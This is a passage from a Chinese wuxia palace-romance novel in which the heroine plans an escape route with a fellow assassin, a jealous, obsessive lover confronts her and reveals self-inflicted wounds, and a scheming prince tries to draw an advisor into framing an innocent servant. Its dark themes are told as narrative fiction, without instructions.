公孙红拿着茶杯转着玩,见她来了,笑弯了眼睛:“确实迟了。瞧瞧我给你找了谁来?” 湖面银光潺潺,来人闻言,缓慢旋过了脸。 南琼霜惊得怔在原地。 那人不说话,高马尾,半垂着眼帘。一双艳而威的凤眸,眼尾凌厉上勾,锋锐到近乎轻邪。 锋芒毕露,雌雄莫辨,淡淡一个回眸,已是气势逼人。 确实是她。 云瞒月。 公孙红笑:“你是什么来头,人家是什么来头,叫人家在这一番好等。还不快给人家道歉。” “不必了。”云瞒月开掌一拦,兀自撩摆在石凳上坐下,“我同霜儿本也熟识。” 南琼霜立在亭子底下,半晌没说出话。 云瞒月,乃是与她同一批入往生门受训的幼童。当年百人大逃杀,唯有一人可以入选受训,她和这云瞒月在最后关头相逢,彼时她已是强弩之末中的强弩之末,浑身犹如一个濒临散架的破烂木器,而她,正杀得容光焕发,意犹未尽。 若不是那一年胭脂堂主相中了南琼霜的容貌心性,自高阶之上遥遥点了她的名,她便是再有手段骨气,也要死在这云瞒月手底下。 “你……”南琼霜心中不止是意外,几乎诧异到有些好笑,“就为了助我脱身,你把云瞒月都给我调了来?” 云瞒月乃是几十年难得一遇的习武根苗,七杀之内,无人可匹,包括那以一当十的墨角。为了制住她,往生门独独为她配了三个教引——实则,也只能求个心安。 “不是助你脱身,是助我事成。”公孙红用茶氤氲的热气熏着脸,她不知打哪儿听说的,坚信热汽有益于养颜。 “门内给我的令,是蛰居洛京之中,何处需要,便来相助。”云瞒月朝她摊开手,引她入座,“故而,并无不可。” 南琼霜每回见了这尊女人身的杀神,心中都有些惴惴。杀神若是男人,便不足为惧,男人总有弱点。只是女人身的杀神—— 清贵、俊朗,杀人不血刃、刀下不留情。 云瞒月虽奉于七杀,身上却有种类似攻心刺客的魅力——针对女人。 南琼霜有点局促,坐开了一点。 “如今夜已深了,正适合你们二人去踩探路线。当日琵琶大会在金丝楠木殿举行,届时我会首先发难,与她过上两招。数招之后,福余三卫必然出动,南琼霜便踩着二楼栏杆,旋身而出。你便在二楼窗户旁守着,见她飞来,抱着她冲出窗外,先去乌衣巷尽量将人甩开,待到跟着的人所剩无几,便上仙女湖。” 又对南琼霜道:“我在仙女湖替你们二人备了船只,舟头有一只白莲花灯。舟中有寻常衣衫,你入了船,即刻更衣熄灯。” 云瞒月:“我会在旁替你撑船,隐入游人之间。常达若搜遍了乌衣巷,仍然要封锁仙女湖,便循水路退避;若不封,便寻个无人处上岸,我护送你回宫。” “目前而言,还算可行。”南琼霜拄着下巴,“不若我们先去金丝楠木殿附近,将这路线走一遍试试。” 三人对视一眼,彼此颔首。 于是便去了金丝楠木殿附近。 常达本就把握兵权,十几万大军候在山海关外,京中宅子内,自然也有不少常家军把守。 一行人避着守夜军士,悄无声息跃上了金丝楠木殿的琉璃瓦顶,伏在瓦上,尽量隐去身形。 夜色里的洛京城,一片屋檐相连,绵延无尽。街道上已是无人,寂寥无声。 云瞒月眺望片刻,扭头对南琼霜道:“我先带你走一遍。” 南琼霜颔首。 趁这边并无守军注意,两人骤然起身,足尖轻点,轻轻巧巧踏在风中。 云瞒月武功极高,不似那些长于拳脚、疏于轻功的五大三粗的男人,她轻功也格外好。揽着她,在夜色中也能奔跃如雨燕。 足下街景一刹一刹转变,方才尚在远处的酒楼,下一瞬牌匾就逼在眼前;方才还模糊不清的没套马的马车,转眼就落在身后。 她随着云瞒月的脚步蹬挪跨越,夜风扑鼻,两人拐了又拐,终于行至乌衣巷尽头。 窄巷尽头,一片霍然开阔,正是月色下漆黑茫茫的仙女湖。 仙女湖上一片幽暗。 到得仙女湖,已是不必再跑。南琼霜踩在屋檐上,腿脚已有些软,往旁稍稍趔趄一步。 云瞒月抬起手臂,由她扶住。 方才奔得太急,不觉如何,这时兀地停下来,她才发觉心脏已是跳得厉害,人喘得喉咙几乎干涩,连肺都隐隐作痛。 “还好吗?”云瞒月忧心忡 忡地伸出胳膊,兜着她背后护住。 她捂着胸口点头。 这些年,因着办差,她几回出生入死。不仅别人给她下毒,她自己也给自己下毒,身子早已经坏了。 极乐堂的差事,办仍能办,但打,已经不能打。狂奔,也勉强。 “我无事。”她气喘吁吁地将喉咙里的涩痛压下去。 云瞒月微微摇头,揽住了她的肩扶稳:“你一向太强求你自己。” 南琼霜望着澄明月色,一时无言。 “最近还好吗?”月亮底下,云瞒月的侧脸英挺而俊秀,“许久没与你一同办差了。” 她不由想起皇宫之中那一篮子事。毛琳妍又复了宠、常太妃之事尚不知会如何、嘉庆帝开罪了摄政王、顾怀瑾…… 她皱了下眉:“还好。”又道,“你是否又长高了?” 云瞒月哑然失笑。 她身量高,几乎快与顾怀瑾一般高了,远远看去,比男子还气势逼人。 云瞒月望着她苍白脸色,想起几年前两人一同办差,她还不至因为狂奔几步而气喘至此,环着她后背的胳膊又兜了兜:“当真还好?我瞧着你身子似乎更差了。” 她无话可答:“我无事。” 月色底下,云瞒月偏首凝望她,神色认真得几乎有些痛心。 当年她们逃杀场初遇,她便知这个女人,生得病弱貌美,然而心性坚不可摧,是以即便是她云瞒月,也始终高看她一眼。后来,又同她一道办过几回差,更惊觉她身上有种常人难匹的豁达通透,不由怜惜。 “霜儿,你一向办差太不要命,何必如此。”云瞒月叹息一声,“将身体底子造作尽了,便是赎了身,抑或坐了堂主之位,又能如何。失手几回,又能怎样。” 南琼霜捂着心口平缓呼吸,许久未言。 她一向不与同僚交心,但云瞒月太强,强到毋需勾心斗角,她对她总会少几分戒心。 “说到堂主之位。”南琼霜道,“你打算如何。” “男人们扶不上墙,无人打得过我,堂主不当也得当,早晚也得当。你呢?” “我打算赎身。” 云瞒月唔了一声:“也是条路子。不过,若如此,你还是别坐副堂主之位为好,否则,肩上有担子,怕他们不肯放人。” “确实如此。” 云瞒月又道:“我听闻你在同那公孙姑娘争夺副堂主之位。” 南琼霜嘟囔一声:“也不算吧。我一心要走。” “只怕你无心争,人家有心。”云瞒月捋了捋她背上的长发,“公孙姑娘,你还是提防些为好。” 南琼霜默然不语。 “对了,我有东西给你。” 南琼霜偏首:“什么?” 云瞒月自怀中掏出一匹长绸,奉到她手上。 她接过来,才见那牛乳般的白缎子,月色底下闪着细碎的光,触手滑腻异常,似乎是特殊的丝线编织而成,风一吹过,拂动若水波。 “云翳锦。”云瞒月道,“公孙姑娘的绝技,在于九宝琵琶之中的十八道暗器。其中最毒的一道,名为暴雨梨花针。若出此招,万针齐发,骤如暴雨,常人躲闪不得,唯有一死。你的武功,是用丝线的,更是难以抵挡。” 南琼霜捧着那长缎子,一时神色沉重。 云瞒月说得对。暴雨梨花针克她的蛛罗丝,公孙红若动杀心,她恐怕难有活路。 即便两人在菡萏宫有些近似友谊的东西,但情谊,谁说得准呢。 同僚就是同僚。 “这是我办差收缴来的。云翳锦织法与材质俱有讲究,质地细密,银针难以穿透,你若不嫌弃,刚好给你。” 南琼霜垂眸思量半晌。她其实不爱受同僚的好处,每回拿了人家的东西,总想着还人情。 “收着吧。绸带、水袖一类的武器,我不喜亦不擅,你若不收,我也只有交给藏刃司。” 她抿着嘴唇考虑片刻,还是应下:“如此,谢谢你。” 云瞒月顿时笑起来。她欣赏她已久,还谈什么谢不谢的。 “试试吧。”她道,“你们这些正儿八经的女儿家,甩这些长得鼻涕一样的东西,还能甩得又美又准,我也只有叹服。” 月色底下,南琼霜将那云翳锦随手挥开,那白练登时泛着碎光横上夜空,在夜风里款款飘零。 “都是自小在门内练的。极乐堂与你们七杀不同,七杀堂中人,习武在一个‘精’字。”她轻描淡写抬起手一接,那缎子便乖顺聪明地一截一截奔入她掌心,“极乐堂的,原本也不指望武功多高,习武是为救急,力求什么都会点,拿来便能用。” 她一动作,云瞒月便担心她失足踏空,架着胳膊护着她的腰,一面仰头感叹: “确实好看。果然,这些女儿家的兵器,还是得在你手……” “里”字尚未说完。 云瞒月消失了。 她身侧登时空空荡荡,静若虚无。 南琼霜一个激灵,仿佛有东西自她尾巴骨钻入骨髓,寒颤得猝不及防。 忽然,身后、背后,贴了什么东西。 她脚下登时踏空,人往后一栽。 骤然撞在身后的东西上。 头顶喷薄着低低的喘息,腰间倏地捆了两条手臂,她肩膀蓦地压下一股力,什么东西搁在她肩头,滚烫的呼吸倏地扑在她颈间。 顾怀瑾头搁在她肩膀上,弓下身子,额头蹭着她耳畔。 “乖乖,这又是谁。” 第148章 皇宫内雨中一别,顾怀瑾原本是打定了主意,欲遂她的愿,一刀两断的。 那张沾着血的字条,连半句回复也无,他更加笃定了要断。 毕竟,他从未欠过她什么。而他,被欺骗、被辜负、被忽视、被冷落,从始至终。 他的姓氏不许他爱一个窃山的仇人,他的心法不容许他爱一个如此凉薄之人。他已经爱她爱到血肉模糊,为了她,他的自我已是一片废墟,他但凡聪明一些——就不该再爱下去了。 遑论,还有雾刀那些不知真假的话。 倘若那条狗说的都是真的。 倘若那条狗说的都是真的,他把天山之祸,放过得太容易了。 天山之仇。 他合该恨她。 所以,他再也不去见她了。想她也不见,想她到梦见她也不见,吐血也不见,明知他吐血她就会让步也不见。不该爱了,就是不该爱了,再爱下去,负山负己——别犯傻了。 谁知,这般刻意磨炼自己心性,却在窗边,一仰头,望见她在月亮底下。 她蒙着面,那又何干。她在迢迢夜色里,身影纤如蒲草,他蒙着眼,还是能一瞬辨出她。 她在月亮底下,朝着人笑。 他多日未见、日思夜想、白日憎怨、梦里深吻的人,在遥遥月亮底下,朝着人笑。 她还记得有几天没见他了吗。 还记得连面都不肯让他见吗。 她竟敢对那人笑! “乖乖。”他发觉自己难以自制地微微战栗,手臂几乎勒进她腰身中去,头伏在她肩上,额头厮磨她耳畔,脑海里却全是撕咬开她颈脉的绮.念:“这又是谁啊。” 怎么他才刚刚放了没两天,就有人垂涎三尺地恭候着了。 恭候他退场腾地儿? 怎么这么……招人爱啊。 南琼霜太熟悉他,他这个样子——怀里热得吓人,心脏咚咚锤砸胸腔,拥着她,力气用得怨而戾,几乎已经不能算拥抱——同当时无量山重逢,完全一致。 她心里咯噔一下。 下一瞬,便对远处迎面飞掠而来的云瞒月大喝:“别过来!” “乖乖。”顾怀瑾紧拥着她,一字一字咬得极轻,仿佛响尾蛇的轻摇,“谁啊,这么在乎。” “你若是这么在乎……” 南琼霜惶然惊疑地见自己脸侧伸出一只手,正对着自月亮底下奔过来的云瞒月。 “……我杀一个,是一个。” “怀瑾!”她顾不得在云瞒月面前避什么嫌,回身抱着他往地面一扑。 顾怀瑾一只脚撑在身后堪堪稳住,玄黑刺金广袖在她视野中飘摇一瞬。 云瞒月的朱璎戟刚挥了半个圆满的弧,顷刻当一声被格住,人人都不及看清究竟是何物打了过去,她忽觉脚下悬空。 再有反应,眼前已经是青冥蓝的夜空。 云瞒月习武十余年,唯有自己吊打旁人,从不曾被人压制到这地步,翻滚着卷下屋檐时,心里除去怒,更是惊。 此人是何来头?! “乖乖。”顾怀瑾慢条斯理地将她长发缠在自己指间绕着,一边玩弄,一边柔声,“方才若不是你扑我那一下,弹飞的就不是那戟,是他的脑袋了。” 察觉她嘴唇不断哆嗦,他戴着白玉扳指的手,将她脸孔推过来朝向他,他好脾性地问: “想看吗?想看,便给你看。” 南琼霜忍怒忍得浑身发抖——他那难以言明的怒火和渴欲,明晃晃地支抵在她后腰,叫她更加恼火三分,她恨恨一推他:“你知道你在做什么吗!?” “你知道你在做什么吗?”顾怀瑾温和而耐心地喃喃一遍,噙着笑,轻轻附耳: “——你在杀他。” “顾怀瑾!” 连名带姓地唤他。 好,好极了。 他含着点笑意,去嗅她颈窝。 是不是倘若他死了,她就知悔了,就能知痛了,就能知道她在折磨他了? 想到她跪坐在他尸首旁哭天恸地,痛不欲生,他就五内畅快。 “乖。”他紧紧拥住她,明知那头不可小觑的云瞒月已经自屋檐又腾身上来,他却只是陶醉而痴然地偏首望着她,“我若去死,你答应么。” 她心思完全不在他身上。 只是对那个复又飞上来的人道:“快走!我没事,你快走!” “快走?”他再朝云瞒月空伸出一只手,依旧凝望她,“还想走呢?” 眼看着,顾怀瑾周身气劲缓缓涡旋,震颤起来,屋顶的碎石跳个不停,南琼霜忽地转过头,给了他几个字:“不答应,别胡说!” 顾怀瑾怔忪一瞬,那点不祥的微笑登时滞在脸上。 “霜儿!”那头,云瞒月擎着长戟自夜色里腾跃奔来,戟下红缨艳得似血,“你躲开些!” 顾怀瑾笑了。 叫得真亲。 南琼霜只听他那一声冷笑,便知大事不好,忙道:“怀瑾!” 云瞒月长戟在空中一划,锋锐的刃折射出青色寒月,一闪。 顾怀瑾的衣襟袖摆旋即飘摇起来。 云瞒月的长戟被第一块石屑叮一声打得偏弯之时。 南琼霜的话终于出了口。 “住手,她是女人!” 四下蓦然静了。 一切骤然止歇。 顾怀瑾无风自动的广袖缓缓垂下,空气依旧微微震颤着,震得人脸腮发麻,空中炸碎的瓦屑,却开始噼里啪啦地往下掉落。 云瞒月手中长戟在空中一划,归回身后,雨燕一般停在对面翘起的檐角上,“你们二人相识?” “他不会伤我。”——但未必不会伤你,南琼霜急道,“你快走!” 云瞒月当机立断转身,手中长戟向空中信手一抛,登时窜上一个黑影接在手里,几人一瞬缩成几个黑点,不见了。 “还真是有来头呢。”顾怀瑾凉凉笑了一声,“好身手,洛京城里怕是找不出第二个了。身后跟着的苍蝇也多。” “她与旁人不同。”云瞒月的教引,被她治得服服帖帖的,与其说是监视,不如说是伺候。她目送云瞒月的背影完全消失在茫茫夜色里,回头挣开他:“放手。” 顾怀瑾两手几乎绞着她的腰,绸带底下的唇毫无血色,平平抿着,头搁在她肩上,贴着她脸侧。 一呼、一吸,拂着她耳垂和碎发里的一截脖颈。 他在思量是否要一口咬下去。 或者,干脆咬断得了。 “放开。这里太高,人家一抬头就瞧见了。哪都可能有我的同僚。”她偏首瞧了瞧他,伸手摸上他的脸,“听话。” 顾怀瑾默然偏开头躲过她的手,却还是带着她的腰将她牵下了屋檐。 一落地,南琼霜才知他为何会突然出现。 长安街,顾府。 恰恰好好,在他宅邸的正前面。 一说到长安街,南琼霜猛然想起,夜已深了,耽误不得,菡萏宫中已经整整一日没有一位娘娘。紫禁城规矩比别处多上千倍,处处都是眼睛,越耽搁,纰漏越多。 她将胳膊从他怀里抽出来:“我回去了,已经出宫整整一天,再不回去,我怕出事。” 顾怀瑾自从无量山回来,刚得了片刻与她独处的机会,牵着她正欲往府内走,谁料她竟然又来变脸无情这一套。 她何曾考虑过他的感受? 他冷静地、平静地想。 他不如死吧。 这个念头,这些天,或者这些年以来,他动过无数次了。 他若死了,天山之祸他就可以放了,她就知道何为痛何为悔了,她就明白他是怎样束手无策地爱过她,爱到宁愿用自己一死,报复她的负心。 这种女人,不叫她肝肠寸断,她永远不会在乎他。 顾怀瑾弓下身子与她脸孔平齐。 南琼霜忽地对上他被黑绸缚住的双眼。他额头眉骨生得俱高挺,眼窝深邃,绸带覆眼,其实是绷在眉骨与鼻梁上,眼窝处微微凹陷下去。 她看着那对浅浅的凹陷,莫名觉得,是对上两个嗜人的漩涡。 未等他开口,她几根指头覆上他惨白干裂的嘴唇。 两人心脏仿佛被同一根线牵着,俱是咯噔一跳。 “又吐血了?”她声音轻轻。 轻的,叫他心上好似被一条小蛇咬着。 他恨她一语一言就可以动摇他的恨。 “我吐不吐血,与娘娘何干。娘娘多潇洒啊。”他苍白的嘴唇翕动,“答应过的事不做,应过的约不来,每日每日往大明宫跑,我的字条,连一个字都懒得回。” “娘娘也不必在此假模假式地关心我了。”顾怀瑾一面说,一面笑,“只想问娘娘一句,我若死了,娘娘是否就畅快了?” 她不论如何不明白他为何想到死。 站在原地,难以置信地愣愣望了他半天,欲说什么,还是一个字没有。 顾怀瑾快意的、欣慰的,仿佛亮出奖章一般,撩开了自己袖口。 牵着她的手,覆上自己手腕。 南琼霜指尖甫一触到他的手腕,当即哆嗦了一下。 干涸的、结痂的、粗粝的,割伤。 又长又深,仿佛被利刃深深嵌入过,豁开一点断面。 “看,新的。” 南琼霜浑身控制不住地发起抖来,一时也不知道是惊怒还是悲伤,只感觉血液倏地冲上头顶,眼前的东西一瞬看不清了。 “你这是要做什么。”她难以支撑地眯了眯眼,泪水被眼睫夹落,“就因为我说要一刀两断?” 她快倒下去了。 这反应,他满意。 顾怀瑾扶住她,爱昵捧着她脸颊,心满意足笑着:“对。” 疯子。他这人,做出的事,她越来越看不懂了。 她僵在原地,胸口急促起伏,人犹如溺了水一般喘不上气。 究竟想要她怎样? “你真的知道你在同什么人谈情说爱吗?”良久,她只有这一句话,“你了解我什么?当年的事,你又知道些什么?你没完没了地追着我说爱,不过是因天山上的事,你知道的太少了。” 他想死,或许是因为苦恋不得,或许是因为明明不该爱,却放不了手,痛愧煎熬欲死。 那多简单。她有办法把他那些爱,变为纯粹的恨。 恨她,总好过寻死。 她带着点破罐子破摔的决绝和痛快:“既然如此,我也不瞒你。不是想问我,雾刀说的东西,哪些是真,哪些是假吗?” “那么,我 就告诉你。” 她嘴唇抖个不停,眼神却坚定如两柄雪锋:“三日后,我有事出宫。等我事情办完,会来你府上。当年的事,我会全告诉你。等到你听完,你就知道,你为了我这般要死要活,有多蠢了。” 她走了。 顾怀瑾望着月色底下冷茫的街道,觉得自己亦是寒冷又迷茫。 这么多时日没见,他不提,她甚至不晓得他想要亲一亲。 * 琵琶大会当日,南琼霜忙得什么都抛在脑后,什么都顾不得。 寅时便起了身,安排清涟在榻上装病,又叫远香给大明宫送信,倘若出了什么事,求大明宫替她转圜一二,转头又乔装打扮拿着令牌出宫,一路面纱遮面,悄悄混入闻风而来排队入府的乐伎之中。 等到王府门口的门卫搜过了她的身,记下她的名姓,便与在王府门口对着常忠抛媚眼的公孙红心领神会地一道向前,尾随她,入了一间无人的窄室。 门一合,室内黯淡的日光下,灰秃秃的榻上,摊着一条了不得的裙子。 凝脂白的蝉纱裙,慕云紫的撒花羽裳外披,层层叠叠的纱错落垂掩,缥缈似雾。羽裳外披上,织着片片金屑,落花刺绣白雪一般纷纷,里头的裙摆,不知是用什么材质所织,但见一片细闪跃动,仿佛雪光。 便是这般陋而旧的暗室,光线昏昧,这裙子竟也琼光四射,华贵逼人。 南琼霜有点哭笑不得,走去捻着那裙子:“我一条裙子,你怎么这般出力。” “你弹得太差,穿得再寒碜些,我便是想叫你夺魁,也怕底下人不答应。”公孙红喜滋滋拨着自己耳坠,“何况,我同定王说,想要两条裙子,人家也不肯给我差的呀。” 南琼霜笑了一声,不欲坏她兴致。 “先上妆打扮,过会我再给你拿条璎珞过来。璎珞同眉心坠,你要哪个?” “随便。” 梳妆打扮是公孙红的爱好,不论是打扮自己,还是打扮别人。 公孙红转身出门,扒着门边丢给她一个飞吻:“今儿定王有贵客来呢,一会,我来替你化。” 南琼霜将面纱除去,解下肩上麻褐色的披风:“贵客?” 窄室外头,奴才们有条不紊忙碌着,轻手利脚在金丝楠木殿里里外外跑上跑下。 大殿之内,彩灯花饰早已垂挂完毕,一派花团锦簇富丽堂皇。高台平整光洁立在大殿正中,前头数十张圆木桌,上百张高背椅,桌桌备茶、瓜果、饴糖、糕点。 常达一向奢侈招摇,嗜脸面如命,今日琵琶大会在整个洛京都贴出了告示,必是拿出最好的东西,做最上上的招待,以求洛京遍传定王好客、王府气派之名。 一楼是京城之内稍微有头有脸之人的坐席。初露风头的才子、欲求赏识的谋士、京中有名的雅士、结交广阔的商贾,俱被安置在一楼。 二楼,则是整个齐宋都叫得出名号的达官贵人,譬如宰相王茂行之孙、纨绔子弟李景泰。 这些贵人,得以在二楼独享一张圆桌,向下俯视观赛。 雅室,却仅有一个。 玛瑙珠帘彼此相碰,雅室之内茶香袅袅,日光自雕窗一格一格筛进室内,映得茶水的热汽腾卷着向上。 杀伐无常、煞气逼人、跺跺脚整个洛京都要震一震的定王常达,亲自替面前人斟了盏茶,恭敬颔首:“您请。” 常达对面,一截鸦黑袖摆被一人敛起,一只骨节分明的修长的手,从容将那盏茶接过。 “可还能入口?”常达恭恭敬敬道,“顾先生。” 第149章 顾怀瑾呷了口茶,淡道:“尚可。” “今年清明新产的君山银针。”常达抓着茶盏吸了一口,口中啧啧,“本是贡茶。可惜今岁所产不多,本王又格外偏好此茶,遂截了朝廷贡物史,尽数由定王府包下了,皇宫之中是没有的。” 顾怀瑾晓得他言外之意,不欲在小事上纠缠,置之一笑。 “听闻顾先生一向不喜热闹,以琵琶大会之名相邀,多有唐突。”常达又殷勤替他将茶斟满,“鄙王乃是粗人一个,不懂名士雅兴,也就只能拿这些次品待客了。” “您太谦虚了。”顾怀瑾敷衍着应,无所用心地往底下看着。 楼下,宾客满堂,几十张圆桌俱坐得满满当当,一齐抬头朝台上望着。人人锦衣华冠,玉带金刀,便是尚且无人赏识的落魄士人,亦穿了最体面气派的衣裳来。奴才们端茶奉水穿行于其间,宾客们谈笑风生,彼此结交恭维,一时热闹非凡。 台上尚且无人。一面山水花鸟锦屏立在台上,算作背景,丝竹管弦声自屏风后悠悠奏着,台上以宝瓶鲜花置景,一盆一盆芍药牡丹沿高台四周摆放,一片鲜妍繁华。 “今日琵琶大会,来的俱是京中闻名的琵琶高手。顾先生若不嫌弃,可多留些时辰,看最后是谁人夺魁。” 顾怀瑾倚在栏杆上,啜着茶,未接话。 他今日来常达府,乃是因定王几次三番相邀、嘉庆帝几次三番相求,并无什么听琵琶的雅兴。如今,他厌世亦厌人。 “定王今日邀顾某造访,所为何事,不妨开门见山吧。” 常达一笑。这位名头极大的国师先生,不喜说废话打官腔,亦不会留情面陪人兜圈子。 “顾先生直爽。本王一介武夫,一向不懂如何同花言巧语之辈相处,今日见了顾先生,有一见如故之感啊。” 顾怀瑾闻言,曲着手肘搭在栏杆上,靠着椅背懒怠笑了笑。 “今日请顾先生前来,是想问问您,小妹幽禁于静思轩一事,皇上意下如何。” 嘉庆帝的态度已经何其明显,常达如此问,不过是问他顾怀瑾的意思。 “皇上难舍其母,几次三番要顾某想法子将太妃放出来。顾某见之动容,愿为皇上驱驰。” 常达心下松了口气,脸上茸茸胡须随着颊肉动了动,笑着,“难为顾先生为小妹费心。不知顾先生……” 话未完,雅室珠帘忽然被人捞起,进来一个毕恭毕敬的奴才,手中端着个木托盘,托盘之中,一顶月牙白祥云纹宝饰锦帽。 “大人,您前些日子从锦绣阁定制的帽子。今日做好了,给您送来。” “狗奴才!”常达眼睛一瞪,“本王正同顾先生谈事呢,不长眼睛的东西!” 那奴才登时头伏得更低,后颈上起了一层凉凉的汗:“您说过,要奴才们做完尽快给您送来……奴才们……” “狗脑子,难道是本王叫你没深没浅?!没眼界的东西!”说着,劈手将木托盘扯在手中,锦帽往自己头上一戴,举着托盘劈头盖脸地往那奴才脸上砸,“滚出去!” 木托盘顷刻被砸得从中破开,劈为两半,那奴才滚在地上一时起不了身,诶哟诶哟哼哼着,又想多殷勤表现,跪在地上将木屑一一捡起。 没想到,捡到常达脚下,又被他一脚踹在肩上,“还不快滚!来人!打杀了!” 奴才立时抬起头来:“大人!大人您行行好,您饶小的一命,小的再也不敢了,大人……” 进来两个膀大腰圆的武士,一人一只胳膊,不由分说,将那人架走了。 那人的哭声渐渐远了。 顾怀瑾静静观赏着眼前的闹剧,毫无情绪,仿若没看见一般。 对面,常达将头上帽子正了正,对顾怀瑾道:“前些日子,在锦绣阁定的帽子,是京中最好的绣娘亲手所绣。不知顾先生看着,觉得如何?” 顾怀瑾似笑非笑,歪在太师椅中,散漫转着茶杯。 白帽子。 王上一个白字。 常达之意,昭然若揭。 他心中道,只是可惜那个奴才,想必是得了常达的令,特意要他在两人对谈时端了帽子进来。可惜,并未提前猜得常达之意,一味顺从听话,成了一座过河便拆的桥。 他叹息一声:“王爷,衣不裹素,冠不饰白。用月牙白的锦缎做帽子,想必是被那油嘴滑舌的卖衣郎骗了。” 常达笑意在脸上僵滞一瞬,眼珠子转了转,倏尔又翘着胡子笑开。 “是是是。本王最厌那花言巧语之辈!来人!”朝外一喝,“将锦绣阁中那卖衣郎给本王带进府来!本王找他算账!” 顾怀瑾心不在焉听着。 到底还要在他面前演多久啊。 当日,笑乐园内,他顺口一句“皇上需换个人辅政了”,不想,还真被人惦记上了。 又是君山银针,又是月白锦帽,又是打杀奴才伙计。 可惜,他顾怀瑾绝无向常之意,巴不得常李双方相斗,最好两败俱伤、同归于尽。 他又含了口茶,朝一楼高台上望去。 台上,大会已开始了,乐伎轮番上台弹奏,个个窈窕多姿。 他没兴趣,复又转回目光,听着常达自作聪明的试探。 忽然,余光瞥见,一楼屏风后,闪过一个暮山紫的影子。 他倏地坐直了身子,凭着栏杆朝下望。 常达见他一转散漫神色,十分在意的模样,忙拱手笑道:“今日这些妓子,顾先生若是相中了哪个,下了台,本王即刻给她赎了身 ,送到先生府上去!银子定王府出!” 那一抹婀娜纤影,只在视野里闪了一瞬,便隐入死角之中,看不见了。 她只要在这,即便距他甚远,他心中还是挂了事,仿佛一根绳上忽然系了结,硌得他难受。 “顾先生。” 顾怀瑾未答。 “顾先生。”常达见他出神至此,心中纳罕,又唤了一声,跟着往一楼看去。 却不知他在看何人。 说到底,他蒙着眼,竟也能看得清吗? “失礼。”顾怀瑾回身呷了口茶,“您继续说。” “当年小妹投毒一事,可疑之处甚多,只是宫正司有笔墨记载,难以翻案,被摄政王屡次拦下。”常达吸了口茶,一阵呲溜溜的响,“不知顾先生有何高见。” 顾怀瑾手指在桌上闲闲敲着:“当年之事,不论真凶究竟是谁,总归是摄政王的母妃中毒身亡。他不会放,意料之中。” “可是那摄政王当真是个心如豺狼之徒!连皇上伏在地上嚎哭,都能丝毫不顾,不为所动!” “他就是那么个脾气。”顾怀瑾不咸不淡地接。 “如此,难道小妹就要在静思轩之中,为一个死人思过,了此残生?!先生!”常达道,“摄政王不过要一个真凶!” 话说到此,弦外之音,顾怀瑾也明白。 真凶是谁,对摄政王重要,对常顾双方,不重要。 只要推出个真凶来,替常太妃顶罪,又有详实严密的证据叫摄政王心服口服,常太妃出静思轩指日可待,嘉庆帝与母亲团聚,亦是水到渠成。 只要嘉庆帝又得了母亲,他这宗差事便了了,他再不会拿此事烦他了。 只不过,伪造证据,推无辜之人出来顶罪。 这种事,即便他历经天山之祸,心性巨变,仍是觉得,能不为之,就不为之。 “那定王的意思是。” “本王之意,欲寻真凶,容易。只是需要先生在紫禁城中,替本王打点。” “定王何不去寻晟贵妃。” “琳妍一介女流,她的手,如何伸得到宫正司!” 顾怀瑾唯余叹息。 这桩事若是不了结,嘉庆帝必然会不满,他毕竟是人臣不是反贼。 常达之言,是最容易,或许也是最可能的法子。 见顾怀瑾只是喝茶,默然不语,常达一时拿捏不准,半个身子倾在桌上,聚精会神地盯他神色。 顾怀瑾一双眼睛被黑绸子蒙着,常达心里暗骂,狗娘养的,连半点表情都没有,不知此人心中在想什么。 良久,顾怀瑾道:“您继续说。” 常达悬起的心倏地一放,连声道,“可去御用监中随意挑一宫人,买通他身边人,罗织罪名,伪造证物,交给您审。拿了证词,直接定他的罪,为小妹翻案。” 顾怀瑾一哂:“您安排顾某,安排得真是不客气。” 常达的嘴登时堵住了。 他拥兵多年,军伍之中人人对他言听计从,何曾有过被人讥讽的时候。 “那你的意思是?!”常达兀地拍桌而起,眼睛瞪得老大,桌子登时一颤,茶盏彼此相碰,一楼二楼的贵客霎时全诧异望过来,“找个宫人顶替,此乃最速最易之法!先生亦领了差事,难道先生非花老大的劲,彻查陈年旧事?!” 雅室外守着的奴才们,一齐惶惶跪下来。 台上琵琶之音都停了,奏乐的乐伎惊疑不定抬头望着。 顾怀瑾只是噙着点笑,望着他暴怒。 常达一贯喜暴起翻脸,常人禁不住他暴怒,往往即刻便屈服。 可惜,顾怀瑾并不吃这套。 他伸出两根指头,轻描淡写往下比了比。 四周空气忽然涡旋腾卷,雅室之中的一切,仿佛波浪一般扭曲起来,珠帘彼此噼啪相碰。四面八方的宾客,台上比赛的乐伎,无不惊疑不定仰着头,一阵窃窃私语之声。 忽然,面红耳赤、眼睛瞪得大如铃铛的常达,站在原地,浑身发抖,仿佛站不动了。 双肩被压得微陷,似乎有着千斤顶。 两人沉默对峙,不动声色。 忽地,咔嚓一声巨响,地板陷下数寸。 殿内一阵惊呼。 常达一双眼瞪得眼白是眼白,眼珠是眼珠,没有片刻,膝盖一软,重重顿坐回太师椅内。 太师椅咔擦一声响,裂了几道纹。 他砸在椅子里,呼哧呼哧地惊喘,冷汗直冒。 顾怀瑾随意自斟了盏茶。 无量心法。 常达亦是习武之人,曾听闻江湖之上难得一见的无量心法,说是内功玄妙,如有隔空御物之术,常人难匹。因着修习太难,几近失传。 没想到,这时候,却遇上了个心法大成之人。 真他娘的该死。 这碍事之人,若是想,今日有本事就地格杀了他。 “我的意思是,”顾怀瑾半分怒气也无,闲话一般,“定王好好想想。若是真凶确为常太妃,你又待如何?” 常达怒得胸口一起一伏,急促不停,末了,狮子鼻皱起,一张脸凶相毕露,“先生的意思是,要本王求你?” 顾怀瑾靠在椅子里,手指在桌上敲了半晌,散漫一笑:“差不多。” 常达怒得两掌在扶手上骤然一拍,欲再起身。 压根没站起来。 空气扭曲波动起来,顾怀瑾淡淡相劝,“定王好好歇歇吧。” 常达坐在太师椅内,整个人涨得赤红,仿佛一只渐渐熟了的大红虾。 忍了再忍、再忍又忍、又忍更忍之后,太师椅扶手被他捏得碎为几片,七七八八零落垂地。 他动怒时,嗓音犹如猛兽喉咙里的低鸣。 “先生究竟想怎样。” 顾怀瑾缓缓道:“定王所言,确实有理。不过顾某办事,有顾某的规矩。” 他道:“此事我会处理。” “您是打定主意严查下去?”常达心中打鼓。 常家人脾性一个赛一个的不好,下毒之事,常太妃未必做不出来。 顾怀瑾知道常达在担心什么,置之一笑。 真凶究竟是谁,在乎的只有李玄白,他顾怀瑾根本不在乎。——或者说,李玄白越不高兴,他越高兴。 他只是不想叫无辜之人顶罪枉死。 顾怀瑾笑:“不会查到太妃身上。” 